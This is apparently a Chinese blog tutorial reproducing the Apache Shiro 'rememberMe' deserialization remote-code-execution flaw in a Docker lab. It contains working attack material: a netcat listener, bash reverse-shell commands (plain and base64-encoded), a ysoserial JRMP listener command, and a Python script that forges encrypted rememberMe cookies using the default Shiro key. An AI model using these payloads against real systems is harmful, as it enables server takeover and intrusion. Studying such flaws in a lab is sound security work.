赞
踩
最近参与某项工作,有很多东西都需要补充学习,本文根据一些视频教程和网页博客总结而来,很多网站都存在这反序列化漏洞,学习一下作为知识储备,通过写这篇blog也帮助我理清思路。
面向对象语言在存储对象的时候有一个很难存储的问题,就考虑将对象转换成字符串进行持久化存储,可以方便网络传输。即一个对象序列化,转化成字符串,然后传输给别人,再反序列化回来,即可做到网络传输。
与序列化相反,反序列化就是将字符串转换成对象的过程。
apt-get install docker
(如果此处出现无法定位软件包的问题,可以使用命令apt-get update
更新一下)apt-get install docker-compose
reboot
命令重启一下service docker start
(这里的服务每次开机都需要重新启动一下)docker pull medicean/vulapps:s_shiro_1
(这个应该要在root下进行,或者普通用户sudo一下)docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
localhost
或者本机的ip地址
即可:Log in
,任意输入账号和密码,勾选remember me
。(此时打开火狐的代理,在扩展组件中添加,并设置ip和端口与Burp中对应,此处我是127.0.0.1和8080)Login
,再次回到Burp Suite,Burp已经抓到包,鼠标右键—选择send to Repeater
发送给重发器—点击工具栏上的Repeater
:Repeater
之后,点击转发send
,可以看到返回的包中含有字段remenberMe=deleteMe
,说明存在Shiro反序列化漏洞:Apache Shiro框架提供了记住密码的功能(Remember Me),目前这个功能在很多网站上都存在,用户在登录一个网站的时候,登录的信息会被序列化、加密并编码,在请求服务的时候,服务端会对Remember Me中存的cookie值,先解码和解密,然后再反序列化,这里就存在着反序列化RCE漏洞。
unzip -o 文件名
进行解压,解压之后,继续在终端中输入命令pip install pycrypto
安装相关的包(此处可能需要先执行命令安装pip)python shiro_exploit.py -u http://192.168.14.128:80
(后面地址为本机ip地址:开启Shiro步骤的端口一致
)可以利用反弹得到的Shiro Key进行shell的反弹,反弹的原理可以看一下我之前的blog,有一些关于反弹shell的复现,如果只想看懂下文,看这一篇即可:https://blog.csdn.net/weixin_44283446/article/details/115133751?spm=1001.2014.3001.5501
nc -nlvp 1231
bash -i >& /dev/tcp/监听方的ip地址/1231 0>&1
(这个地方端口的设置和监听方要一致)bash -i >& /dev/tcp/监听方的ip地址/1231 0>&1
输入进去,就可以得到匹配Bash的编码,在被监听方执行这个bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0LjEyOC8xMjMxIDA+JjE=}|{base64,-d}|{bash,-i}
ysoserial.jar
文件中JRMP监听模块,监听6666端口并执行反弹shell命令java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
,其中ysoserial.jar
在github上下载下来的Shiro_Exploit-master
包中带有:Shiro.py
文件,输入以下代码:import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() # 此处使用前面拿到的Shiro Key key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
使用命令python shiro.py 被监听方ip地址:6666
执行Shiro.py
生成payload:
forword
:forword
后,回到kali,拿到反弹shell:https://cloud.tencent.com/developer/article/1657019
https://www.cnblogs.com/xiaozi/p/13239046.html
https://xz.aliyun.com/t/8445
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。